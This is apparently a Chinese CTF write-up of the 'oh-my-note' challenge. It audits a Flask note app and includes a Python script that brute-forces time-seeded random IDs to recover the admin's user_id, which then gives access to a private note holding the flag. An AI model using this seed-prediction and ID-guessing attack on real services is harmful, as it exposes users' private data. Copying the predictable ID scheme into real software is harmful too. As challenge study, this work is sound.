*ctf-oh-my-note
比赛的时候差一点就打出来了,赛后看了别的wp,正好环境在,赶紧复现一波
题目给了附件源码,直接代码审计,理清业务逻辑
代码审计
import string
import random
import time
import datetime
from flask import render_template, redirect, url_for, request, session, Flask
from functools import wraps
from exts import db
from config import Config
from models import User, Note
from forms import CreateNoteForm
app = Flask(__name__)
app.config.from_object(Config)
db.init_app(app)
def login_required(f):
@wraps(f)
def decorated_function(*args, **kws):
if not session.get("username"):
return redirect(url_for('index'))
return f(*args, **kws)
return decorated_function
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
@app.route('/')
@app.route('/index')
def index():
results = Note.query.filter_by(prv='False').limit(100).all()
notes = []
for x in results:
note = {}
note['title'] = x.title
note['note_id'] = x.note_id
notes.append(note)
return render_template('index.html', notes=notes)
@app.route('/logout')
@login_required
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/create_note', methods=['GET', 'POST'])
def create_note():
try:
form = CreateNoteForm()
if request.method == "POST":
username = form.username.data
title = form.title.data
text = form.body.data
prv = str(form.private.data)
user = User.query.filter_by(username=username).first()
if user:
user_id = user.user_id
else:
timestamp = round(time.time(), 4)
random.seed(timestamp)
user_id = get_random_id()
user = User(username=username, user_id=user_id)
db.session.add(user)
db.session.commit()
session['username'] = username
timestamp = round(time.time(), 4)
post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
random.seed(user_id + post_at)
note_id = get_random_id()
note = Note(user_id=user_id, note_id=note_id,
title=title, text=text,
prv=prv, post_at=post_at)
db.session.add(note)
db.session.commit()
return redirect(url_for('index'))
else:
return render_template("create.html", form=form)
except Exception as e:
pass
@app.route('/my_notes')
def my_notes():
if session.get('username'):
username = session['username']
user_id = User.query.filter_by(username=username).first().user_id
else:
user_id = request.args.get('user_id')
if not user_id:
return redirect(url_for('index'))
results = Note.query.filter_by(user_id=user_id).limit(100).all()
notes = []
for x in results:
note = {}
note['title'] = x.title
note['note_id'] = x.note_id
notes.append(note)
return render_template("my_notes.html", notes=notes)
@app.route('/view/<_id>')
def view(_id):
note = Note.query.filter_by(note_id=_id).first()
user_id = note.user_id
username = User.query.filter_by(user_id=user_id).first().username
data = {
'post_at': note.post_at,
'title': note.title,
'text': note.text,
'username': username
}
return render_template('note.html', data=data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
源码和balccon-2020的Two Sides of a Coin很像
首先是定义了五个路由,我们分开分析
- /index
该路由下就是记录了title和note_id,没什么特别的
- /logout
访问logout路由时删除session,重定向到根路由下
- /create_note
首先我们要知道几个变量是什么意思
user_id:创建的用户名经过以创建时间为种子的随机函数处理后的值
post_at:提取我们创建note的时间并格式化表示
note_id:以(user_id + post_at)为种子的随机函数处理后的字符串,即url中view/后面的值
如果请求方法是POST,那么会根据提交的各种信息创建表单,建立上面的几个参数,一开始以为flag在这里
prv = str(form.private.data)
硬着怼这里。后面才想到这里就是是否将创建的note设为私有,sb了
- /my_notes
如果session中有username就获取,没有就通过user_id获取,输出创建后的note到my_note中
- /view/<_id>
查看note具体信息
爆破伪随机数
那么我们的思路就出来了
根据文章发布的时间得到post_at->根据url /view路由后面得到note_id->通过随机生成的seed,并将其与post_at再度随机处理->将得到的note_id与url中的对比->拿到对应用户的id->通过session和user_id访问admin的私人note,得到flag
编写exp
转换时间为时间戳
得到1610677740和1610677800
import random
import string
import datetime
ts = 1610677740
te = 1610677800
target = 'lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u'
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
for t in range(ts, te):
for i in range(9999):
timestamp = 0.0001 * i + t
random.seed(timestamp)
user_id = get_random_id()
post_at = datetime.datetime.fromtimestamp(
t, tz=datetime.timezone.utc
).strftime('%Y-%m-%d %H:%M UTC')
random.seed(user_id + post_at)
not_id = get_random_id()
if not_id == target:
print(timestamp, user_id)
爆破user_id=7bdeij4oiafjdypqyrl2znwk7w9lulgn
根据/my_notes路由传参
发现/view/8gjrwovok2jarvg38jvbq9uriheahi29
访问,获得flag